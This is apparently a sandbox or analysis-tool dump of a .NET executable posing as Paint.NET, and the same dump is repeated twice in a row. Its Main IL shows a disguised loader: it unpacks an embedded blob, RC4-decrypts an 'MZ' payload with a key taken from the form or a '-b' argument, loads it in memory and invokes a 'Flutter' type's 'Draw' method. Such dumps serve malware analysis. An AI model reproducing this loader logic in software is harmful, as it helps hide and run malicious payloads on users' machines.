Module Name
Full Name
EntryPoint
System.Void PaintDotNet.Program::Main(System.String[])
Scope Name
Scope Type
Kind
Runtime Version
Tables Header Version
WinMD Version
Assembly Name
Assembly Version
Assembly Culture
Has PublicKey
PublicKey Token
Target Framework
Total Strings
Main Method
System.Void PaintDotNet.Program::Main(System.String[])
Main IL Instruction Count
Main IL
nop <null>
newobj System.Void PaintDotNet.Form1::.ctor()
stloc.1 <null>
newobj System.Void System.Collections.Generic.Dictionary`2<System.Int32,System.Byte[]>::.ctor()
stloc.2 <null>
ldnull <null>
ldftn System.Void PaintDotNet.Program::CalcHashThread(System.Object)
newobj System.Void System.Threading.ParameterizedThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ParameterizedThreadStart)
stloc.3 <null>
call System.Byte[] CodeGen::GetBytes()
stloc.s V_4
ldloc.s V_4
ldnull <null>
ceq <null>
stloc.s V_21
ldloc.s V_21
brtrue IL_0127: ldsfld System.Byte[] PaintDotNet.Program::seed
nop <null>
ldloc.s V_4
ldc.i4.0 <null>
ldelem.u1 <null>
ldc.i4.s 75
bne.un.s IL_004A: ldc.i4.1
ldloc.s V_4
ldc.i4.1 <null>
ldelem.u1 <null>
ldc.i4.s 83
ceq <null>
ldc.i4.0 <null>
ceq <null>
br.s IL_004B: nop
ldc.i4.1 <null>
nop <null>
stloc.s V_21
ldloc.s V_21
brtrue IL_0126: nop
nop <null>
ldc.i4.2 <null>
stloc.s V_5
ldc.i4.6 <null>
newarr System.UInt32
stloc.s V_6
ldc.i4.0 <null>
stloc.s V_7
br.s IL_0088: ldloc.s V_7
nop <null>
ldc.i4.0 <null>
stloc.s V_8
ldloc.s V_5
ldloc.s V_4
ldloc.s V_5
ldloca.s V_8
call System.Int32 PaintDotNet.Program::DecodeVarint32(System.Byte[],System.Int32,System.UInt32&)
add <null>
stloc.s V_5
ldloc.s V_6
ldloc.s V_7
ldloc.s V_8
stelem.i4 <null>
nop <null>
ldloc.s V_7
ldc.i4.1 <null>
add <null>
stloc.s V_7
ldloc.s V_7
ldc.i4.6 <null>
clt <null>
stloc.s V_21
ldloc.s V_21
brtrue.s IL_0066: nop
ldc.i4.s 16
newarr System.Byte
stloc.0 <null>
ldloc.s V_4
ldloc.s V_5
ldloc.0 <null>
ldc.i4.0 <null>
ldc.i4.s 16
call System.Void System.Buffer::BlockCopy(System.Array,System.Int32,System.Array,System.Int32,System.Int32)
nop <null>
ldloc.2 <null>
ldc.i4.s 32
ldloc.0 <null>
callvirt System.Void System.Collections.Generic.Dictionary`2<System.Int32,System.Byte[]>::Add(System.Int32,System.Byte[])
nop <null>
ldloc.s V_5
ldc.i4.s 16
add <null>
stloc.s V_5
ldc.i4.s 16
newarr System.Byte
stsfld System.Byte[] PaintDotNet.Program::seed
ldloc.s V_4
ldloc.s V_5
ldsfld System.Byte[] PaintDotNet.Program::seed
ldc.i4.0 <null>
ldc.i4.s 16
call System.Void System.Buffer::BlockCopy(System.Array,System.Int32,System.Array,System.Int32,System.Int32)
nop <null>
ldloc.s V_5
ldc.i4.s 16
add <null>
stloc.s V_5
ldc.i4.0 <null>
stloc.s V_7
br.s IL_011A: ldloc.s V_7
nop <null>
ldloc.s V_6
ldloc.s V_7
ldelem.u4 <null>
stloc.s V_9
ldloc.s V_9
newarr System.Byte
stloc.0 <null>
ldloc.s V_4
ldloc.s V_5
ldloc.0 <null>
ldc.i4.0 <null>
ldloc.s V_9
call System.Void System.Buffer::BlockCopy(System.Array,System.Int32,System.Array,System.Int32,System.Int32)
nop <null>
ldloc.s V_5
ldloc.s V_9
add <null>
stloc.s V_5
ldloc.2 <null>
ldloc.s V_7
ldloc.0 <null>
callvirt System.Void System.Collections.Generic.Dictionary`2<System.Int32,System.Byte[]>::Add(System.Int32,System.Byte[])
nop <null>
nop <null>
ldloc.s V_7
ldc.i4.1 <null>
add <null>
stloc.s V_7
ldloc.s V_7
ldc.i4.6 <null>
clt <null>
stloc.s V_21
ldloc.s V_21
brtrue.s IL_00E4: nop
nop <null>
nop <null>
ldsfld System.Byte[] PaintDotNet.Program::seed
ldnull <null>
ceq <null>
stloc.s V_21
ldloc.s V_21
brtrue IL_0350: call System.Void System.Windows.Forms.Application::Exit()
nop <null>
ldc.i4.0 <null>
stloc.s V_10
ldloc.1 <null>
callvirt System.Byte[] PaintDotNet.Form1::getPharse()
stloc.s V_11
ldarg.0 <null>
ldnull <null>
ceq <null>
stloc.s V_21
ldloc.s V_21
brtrue IL_01D6: ldloc.s V_10
nop <null>
ldc.i4.0 <null>
stloc.s V_7
br.s IL_01C8: ldloc.s V_7
nop <null>
ldarg.0 <null>
ldloc.s V_7
ldelem.ref <null>
callvirt System.Int32 System.String::get_Length()
ldc.i4.s 66
ceq <null>
ldc.i4.0 <null>
ceq <null>
stloc.s V_21
ldloc.s V_21
brtrue.s IL_01C1: nop
nop <null>
ldarg.0 <null>
ldloc.s V_7
ldelem.ref <null>
ldc.i4.0 <null>
ldc.i4.2 <null>
callvirt System.String System.String::Substring(System.Int32,System.Int32)
ldstr -b
call System.Boolean System.String::op_Equality(System.String,System.String)
ldc.i4.0 <null>
ceq <null>
stloc.s V_21
ldloc.s V_21
brtrue.s IL_01C0: nop
nop <null>
ldarg.0 <null>
ldloc.s V_7
ldelem.ref <null>
ldc.i4.2 <null>
ldarg.0 <null>
ldloc.s V_7
ldelem.ref <null>
callvirt System.Int32 System.String::get_Length()
ldc.i4.2 <null>
sub <null>
callvirt System.String System.String::Substring(System.Int32,System.Int32)
stloc.s V_12
ldloc.s V_12
call System.Byte[] PaintDotNet.Program::ConvertHexStringToByteArray(System.String)
stloc.s V_13
ldloc.s V_11
ldc.i4.0 <null>
ldloc.s V_13
ldc.i4.0 <null>
ldc.i4.s 32
call System.Void System.Buffer::BlockCopy(System.Array,System.Int32,System.Array,System.Int32,System.Int32)
nop <null>
ldc.i4.1 <null>
stloc.s V_10
nop <null>
nop <null>
nop <null>
ldloc.s V_7
ldc.i4.1 <null>
add <null>
stloc.s V_7
ldloc.s V_7
ldarg.0 <null>
ldlen <null>
conv.i4 <null>
clt <null>
stloc.s V_21
ldloc.s V_21
brtrue.s IL_0157: nop
nop <null>
ldloc.s V_10
stloc.s V_21
ldloc.s V_21
brtrue.s IL_01F9: ldc.i4.s 16
nop <null>
ldloc.3 <null>
ldloc.1 <null>
callvirt System.IntPtr System.Windows.Forms.Control::get_Handle()
box System.IntPtr
callvirt System.Void System.Threading.Thread::Start(System.Object)
nop <null>
ldloc.1 <null>
call System.Void System.Windows.Forms.Application::Run(System.Windows.Forms.Form)
nop <null>
nop <null>
ldc.i4.s 16
newarr System.Byte
stloc.s V_14
ldloc.s V_11
ldc.i4.0 <null>
ldloc.s V_14
ldc.i4.0 <null>
ldc.i4.s 16
call System.Void System.Buffer::BlockCopy(System.Array,System.Int32,System.Array,System.Int32,System.Int32)
nop <null>
ldloc.2 <null>
ldc.i4.3 <null>
ldloca.s V_0
callvirt System.Boolean System.Collections.Generic.Dictionary`2<System.Int32,System.Byte[]>::TryGetValue(System.Int32,System.Byte[]&)
ldc.i4.0 <null>
ceq <null>
stloc.s V_21
ldloc.s V_21
brtrue IL_034F: nop
nop <null>
ldloc.0 <null>
ldlen <null>
conv.i4 <null>
ldc.i4.2 <null>
cgt <null>
ldc.i4.0 <null>
ceq <null>
stloc.s V_21
ldloc.s V_21
brtrue IL_034E: nop
nop <null>
ldloc.0 <null>
ldloc.s V_14
call System.Byte[] RC4Cryptography.RC4::Apply(System.Byte[],System.Byte[])
stloc.s V_15
ldloc.s V_15
ldc.i4.0 <null>
ldelem.u1 <null>
ldc.i4.s 77
bne.un.s IL_0258: ldc.i4.1
ldloc.s V_15
ldc.i4.1 <null>
ldelem.u1 <null>
ldc.i4.s 90
ceq <null>
ldc.i4.0 <null>
ceq <null>
br.s IL_0259: nop
ldc.i4.1 <null>
nop <null>
stloc.s V_21
ldloc.s V_21
brtrue IL_034D: nop
nop <null>
nop <null>
ldloc.s V_15
call System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
stloc.s V_16
ldloc.s V_16
ldnull <null>
call System.Boolean System.Reflection.Assembly::op_Inequality(System.Reflection.Assembly,System.Reflection.Assembly)
ldc.i4.0 <null>
ceq <null>
stloc.s V_21
ldloc.s V_21
brtrue IL_0343: nop
nop <null>
ldnull <null>
stloc.s V_17
ldloc.s V_16
callvirt System.Type[] System.Reflection.Assembly::GetTypes()
stloc.s V_18
nop <null>
ldloc.s V_18
stloc.s V_22
ldc.i4.0 <null>
stloc.s V_23
br.s IL_02D5: ldloc.s V_23
ldloc.s V_22
ldloc.s V_23
ldelem.ref <null>
stloc.s V_19
nop <null>
ldloc.s V_19
callvirt System.String System.Type::get_FullName()
ldstr Flutter
call System.Boolean System.String::op_Equality(System.String,System.String)
ldc.i4.0 <null>
ceq <null>
stloc.s V_21
ldloc.s V_21
brtrue.s IL_02CE: nop
nop <null>
ldloc.s V_16
ldloc.s V_19
callvirt System.String System.Type::get_FullName()
callvirt System.Object System.Reflection.Assembly::CreateInstance(System.String)
stloc.s V_17
br.s IL_02E3: ldloc.s V_17
nop <null>
ldloc.s V_23
ldc.i4.1 <null>
add <null>
stloc.s V_23
ldloc.s V_23
ldloc.s V_22
ldlen <null>
conv.i4 <null>
clt <null>
stloc.s V_21
ldloc.s V_21
brtrue.s IL_0299: ldloc.s V_22
ldloc.s V_17
ldnull <null>
ceq <null>
stloc.s V_21
ldloc.s V_21
brtrue.s IL_0342: nop
nop <null>
ldloc.s V_17
callvirt System.Type System.Object::GetType()
stloc.s V_19
ldloc.s V_19
ldstr Draw
callvirt System.Reflection.MethodInfo System.Type::GetMethod(System.String)
stloc.s V_20
ldloc.s V_20
ldnull <null>
call System.Boolean System.Reflection.MethodInfo::op_Inequality(System.Reflection.MethodInfo,System.Reflection.MethodInfo)
ldc.i4.0 <null>
ceq <null>
stloc.s V_21
ldloc.s V_21
brtrue.s IL_0341: nop
nop <null>
ldloc.s V_20
ldloc.s V_17
ldc.i4.3 <null>
newarr System.Object
stloc.s V_24
ldloc.s V_24
ldc.i4.0 <null>
ldloc.s V_11
stelem.ref <null>
ldloc.s V_24
ldc.i4.1 <null>
ldsfld System.Byte[] PaintDotNet.Program::RedistData
stelem.ref <null>
ldloc.s V_24
ldc.i4.2 <null>
ldloc.2 <null>
stelem.ref <null>
ldloc.s V_24
callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[])
pop <null>
nop <null>
nop <null>
nop <null>
nop <null>
leave.s IL_034B: nop
pop <null>
nop <null>
nop <null>
leave.s IL_034B: nop
nop <null>
nop <null>
nop <null>
nop <null>
nop <null>
call System.Void System.Windows.Forms.Application::Exit()
nop <null>
ret <null>Module Name
Full Name
EntryPoint
System.Void PaintDotNet.Program::Main(System.String[])
Scope Name
Scope Type
Kind
Runtime Version
Tables Header Version
WinMD Version
Assembly Name
Assembly Version
Assembly Culture
Has PublicKey
PublicKey Token
Target Framework
Total Strings
Main Method
System.Void PaintDotNet.Program::Main(System.String[])
Main IL Instruction Count
Main IL
nop <null>
newobj System.Void PaintDotNet.Form1::.ctor()
stloc.1 <null>
newobj System.Void System.Collections.Generic.Dictionary`2<System.Int32,System.Byte[]>::.ctor()
stloc.2 <null>
ldnull <null>
ldftn System.Void PaintDotNet.Program::CalcHashThread(System.Object)
newobj System.Void System.Threading.ParameterizedThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ParameterizedThreadStart)
stloc.3 <null>
call System.Byte[] CodeGen::GetBytes()
stloc.s V_4
ldloc.s V_4
ldnull <null>
ceq <null>
stloc.s V_21
ldloc.s V_21
brtrue IL_0127: ldsfld System.Byte[] PaintDotNet.Program::seed
nop <null>
ldloc.s V_4
ldc.i4.0 <null>
ldelem.u1 <null>
ldc.i4.s 75
bne.un.s IL_004A: ldc.i4.1
ldloc.s V_4
ldc.i4.1 <null>
ldelem.u1 <null>
ldc.i4.s 83
ceq <null>
ldc.i4.0 <null>
ceq <null>
br.s IL_004B: nop
ldc.i4.1 <null>
nop <null>
stloc.s V_21
ldloc.s V_21
brtrue IL_0126: nop
nop <null>
ldc.i4.2 <null>
stloc.s V_5
ldc.i4.6 <null>
newarr System.UInt32
stloc.s V_6
ldc.i4.0 <null>
stloc.s V_7
br.s IL_0088: ldloc.s V_7
nop <null>
ldc.i4.0 <null>
stloc.s V_8
ldloc.s V_5
ldloc.s V_4
ldloc.s V_5
ldloca.s V_8
call System.Int32 PaintDotNet.Program::DecodeVarint32(System.Byte[],System.Int32,System.UInt32&)
add <null>
stloc.s V_5
ldloc.s V_6
ldloc.s V_7
ldloc.s V_8
stelem.i4 <null>
nop <null>
ldloc.s V_7
ldc.i4.1 <null>
add <null>
stloc.s V_7
ldloc.s V_7
ldc.i4.6 <null>
clt <null>
stloc.s V_21
ldloc.s V_21
brtrue.s IL_0066: nop
ldc.i4.s 16
newarr System.Byte
stloc.0 <null>
ldloc.s V_4
ldloc.s V_5
ldloc.0 <null>
ldc.i4.0 <null>
ldc.i4.s 16
call System.Void System.Buffer::BlockCopy(System.Array,System.Int32,System.Array,System.Int32,System.Int32)
nop <null>
ldloc.2 <null>
ldc.i4.s 32
ldloc.0 <null>
callvirt System.Void System.Collections.Generic.Dictionary`2<System.Int32,System.Byte[]>::Add(System.Int32,System.Byte[])
nop <null>
ldloc.s V_5
ldc.i4.s 16
add <null>
stloc.s V_5
ldc.i4.s 16
newarr System.Byte
stsfld System.Byte[] PaintDotNet.Program::seed
ldloc.s V_4
ldloc.s V_5
ldsfld System.Byte[] PaintDotNet.Program::seed
ldc.i4.0 <null>
ldc.i4.s 16
call System.Void System.Buffer::BlockCopy(System.Array,System.Int32,System.Array,System.Int32,System.Int32)
nop <null>
ldloc.s V_5
ldc.i4.s 16
add <null>
stloc.s V_5
ldc.i4.0 <null>
stloc.s V_7
br.s IL_011A: ldloc.s V_7
nop <null>
ldloc.s V_6
ldloc.s V_7
ldelem.u4 <null>
stloc.s V_9
ldloc.s V_9
newarr System.Byte
stloc.0 <null>
ldloc.s V_4
ldloc.s V_5
ldloc.0 <null>
ldc.i4.0 <null>
ldloc.s V_9
call System.Void System.Buffer::BlockCopy(System.Array,System.Int32,System.Array,System.Int32,System.Int32)
nop <null>
ldloc.s V_5
ldloc.s V_9
add <null>
stloc.s V_5
ldloc.2 <null>
ldloc.s V_7
ldloc.0 <null>
callvirt System.Void System.Collections.Generic.Dictionary`2<System.Int32,System.Byte[]>::Add(System.Int32,System.Byte[])
nop <null>
nop <null>
ldloc.s V_7
ldc.i4.1 <null>
add <null>
stloc.s V_7
ldloc.s V_7
ldc.i4.6 <null>
clt <null>
stloc.s V_21
ldloc.s V_21
brtrue.s IL_00E4: nop
nop <null>
nop <null>
ldsfld System.Byte[] PaintDotNet.Program::seed
ldnull <null>
ceq <null>
stloc.s V_21
ldloc.s V_21
brtrue IL_0350: call System.Void System.Windows.Forms.Application::Exit()
nop <null>
ldc.i4.0 <null>
stloc.s V_10
ldloc.1 <null>
callvirt System.Byte[] PaintDotNet.Form1::getPharse()
stloc.s V_11
ldarg.0 <null>
ldnull <null>
ceq <null>
stloc.s V_21
ldloc.s V_21
brtrue IL_01D6: ldloc.s V_10
nop <null>
ldc.i4.0 <null>
stloc.s V_7
br.s IL_01C8: ldloc.s V_7
nop <null>
ldarg.0 <null>
ldloc.s V_7
ldelem.ref <null>
callvirt System.Int32 System.String::get_Length()
ldc.i4.s 66
ceq <null>
ldc.i4.0 <null>
ceq <null>
stloc.s V_21
ldloc.s V_21
brtrue.s IL_01C1: nop
nop <null>
ldarg.0 <null>
ldloc.s V_7
ldelem.ref <null>
ldc.i4.0 <null>
ldc.i4.2 <null>
callvirt System.String System.String::Substring(System.Int32,System.Int32)
ldstr -b
call System.Boolean System.String::op_Equality(System.String,System.String)
ldc.i4.0 <null>
ceq <null>
stloc.s V_21
ldloc.s V_21
brtrue.s IL_01C0: nop
nop <null>
ldarg.0 <null>
ldloc.s V_7
ldelem.ref <null>
ldc.i4.2 <null>
ldarg.0 <null>
ldloc.s V_7
ldelem.ref <null>
callvirt System.Int32 System.String::get_Length()
ldc.i4.2 <null>
sub <null>
callvirt System.String System.String::Substring(System.Int32,System.Int32)
stloc.s V_12
ldloc.s V_12
call System.Byte[] PaintDotNet.Program::ConvertHexStringToByteArray(System.String)
stloc.s V_13
ldloc.s V_11
ldc.i4.0 <null>
ldloc.s V_13
ldc.i4.0 <null>
ldc.i4.s 32
call System.Void System.Buffer::BlockCopy(System.Array,System.Int32,System.Array,System.Int32,System.Int32)
nop <null>
ldc.i4.1 <null>
stloc.s V_10
nop <null>
nop <null>
nop <null>
ldloc.s V_7
ldc.i4.1 <null>
add <null>
stloc.s V_7
ldloc.s V_7
ldarg.0 <null>
ldlen <null>
conv.i4 <null>
clt <null>
stloc.s V_21
ldloc.s V_21
brtrue.s IL_0157: nop
nop <null>
ldloc.s V_10
stloc.s V_21
ldloc.s V_21
brtrue.s IL_01F9: ldc.i4.s 16
nop <null>
ldloc.3 <null>
ldloc.1 <null>
callvirt System.IntPtr System.Windows.Forms.Control::get_Handle()
box System.IntPtr
callvirt System.Void System.Threading.Thread::Start(System.Object)
nop <null>
ldloc.1 <null>
call System.Void System.Windows.Forms.Application::Run(System.Windows.Forms.Form)
nop <null>
nop <null>
ldc.i4.s 16
newarr System.Byte
stloc.s V_14
ldloc.s V_11
ldc.i4.0 <null>
ldloc.s V_14
ldc.i4.0 <null>
ldc.i4.s 16
call System.Void System.Buffer::BlockCopy(System.Array,System.Int32,System.Array,System.Int32,System.Int32)
nop <null>
ldloc.2 <null>
ldc.i4.3 <null>
ldloca.s V_0
callvirt System.Boolean System.Collections.Generic.Dictionary`2<System.Int32,System.Byte[]>::TryGetValue(System.Int32,System.Byte[]&)
ldc.i4.0 <null>
ceq <null>
stloc.s V_21
ldloc.s V_21
brtrue IL_034F: nop
nop <null>
ldloc.0 <null>
ldlen <null>
conv.i4 <null>
ldc.i4.2 <null>
cgt <null>
ldc.i4.0 <null>
ceq <null>
stloc.s V_21
ldloc.s V_21
brtrue IL_034E: nop
nop <null>
ldloc.0 <null>
ldloc.s V_14
call System.Byte[] RC4Cryptography.RC4::Apply(System.Byte[],System.Byte[])
stloc.s V_15
ldloc.s V_15
ldc.i4.0 <null>
ldelem.u1 <null>
ldc.i4.s 77
bne.un.s IL_0258: ldc.i4.1
ldloc.s V_15
ldc.i4.1 <null>
ldelem.u1 <null>
ldc.i4.s 90
ceq <null>
ldc.i4.0 <null>
ceq <null>
br.s IL_0259: nop
ldc.i4.1 <null>
nop <null>
stloc.s V_21
ldloc.s V_21
brtrue IL_034D: nop
nop <null>
nop <null>
ldloc.s V_15
call System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
stloc.s V_16
ldloc.s V_16
ldnull <null>
call System.Boolean System.Reflection.Assembly::op_Inequality(System.Reflection.Assembly,System.Reflection.Assembly)
ldc.i4.0 <null>
ceq <null>
stloc.s V_21
ldloc.s V_21
brtrue IL_0343: nop
nop <null>
ldnull <null>
stloc.s V_17
ldloc.s V_16
callvirt System.Type[] System.Reflection.Assembly::GetTypes()
stloc.s V_18
nop <null>
ldloc.s V_18
stloc.s V_22
ldc.i4.0 <null>
stloc.s V_23
br.s IL_02D5: ldloc.s V_23
ldloc.s V_22
ldloc.s V_23
ldelem.ref <null>
stloc.s V_19
nop <null>
ldloc.s V_19
callvirt System.String System.Type::get_FullName()
ldstr Flutter
call System.Boolean System.String::op_Equality(System.String,System.String)
ldc.i4.0 <null>
ceq <null>
stloc.s V_21
ldloc.s V_21
brtrue.s IL_02CE: nop
nop <null>
ldloc.s V_16
ldloc.s V_19
callvirt System.String System.Type::get_FullName()
callvirt System.Object System.Reflection.Assembly::CreateInstance(System.String)
stloc.s V_17
br.s IL_02E3: ldloc.s V_17
nop <null>
ldloc.s V_23
ldc.i4.1 <null>
add <null>
stloc.s V_23
ldloc.s V_23
ldloc.s V_22
ldlen <null>
conv.i4 <null>
clt <null>
stloc.s V_21
ldloc.s V_21
brtrue.s IL_0299: ldloc.s V_22
ldloc.s V_17
ldnull <null>
ceq <null>
stloc.s V_21
ldloc.s V_21
brtrue.s IL_0342: nop
nop <null>
ldloc.s V_17
callvirt System.Type System.Object::GetType()
stloc.s V_19
ldloc.s V_19
ldstr Draw
callvirt System.Reflection.MethodInfo System.Type::GetMethod(System.String)
stloc.s V_20
ldloc.s V_20
ldnull <null>
call System.Boolean System.Reflection.MethodInfo::op_Inequality(System.Reflection.MethodInfo,System.Reflection.MethodInfo)
ldc.i4.0 <null>
ceq <null>
stloc.s V_21
ldloc.s V_21
brtrue.s IL_0341: nop
nop <null>
ldloc.s V_20
ldloc.s V_17
ldc.i4.3 <null>
newarr System.Object
stloc.s V_24
ldloc.s V_24
ldc.i4.0 <null>
ldloc.s V_11
stelem.ref <null>
ldloc.s V_24
ldc.i4.1 <null>
ldsfld System.Byte[] PaintDotNet.Program::RedistData
stelem.ref <null>
ldloc.s V_24
ldc.i4.2 <null>
ldloc.2 <null>
stelem.ref <null>
ldloc.s V_24
callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[])
pop <null>
nop <null>
nop <null>
nop <null>
nop <null>
leave.s IL_034B: nop
pop <null>
nop <null>
nop <null>
leave.s IL_034B: nop
nop <null>
nop <null>
nop <null>
nop <null>
nop <null>
call System.Void System.Windows.Forms.Application::Exit()
nop <null>
ret <null>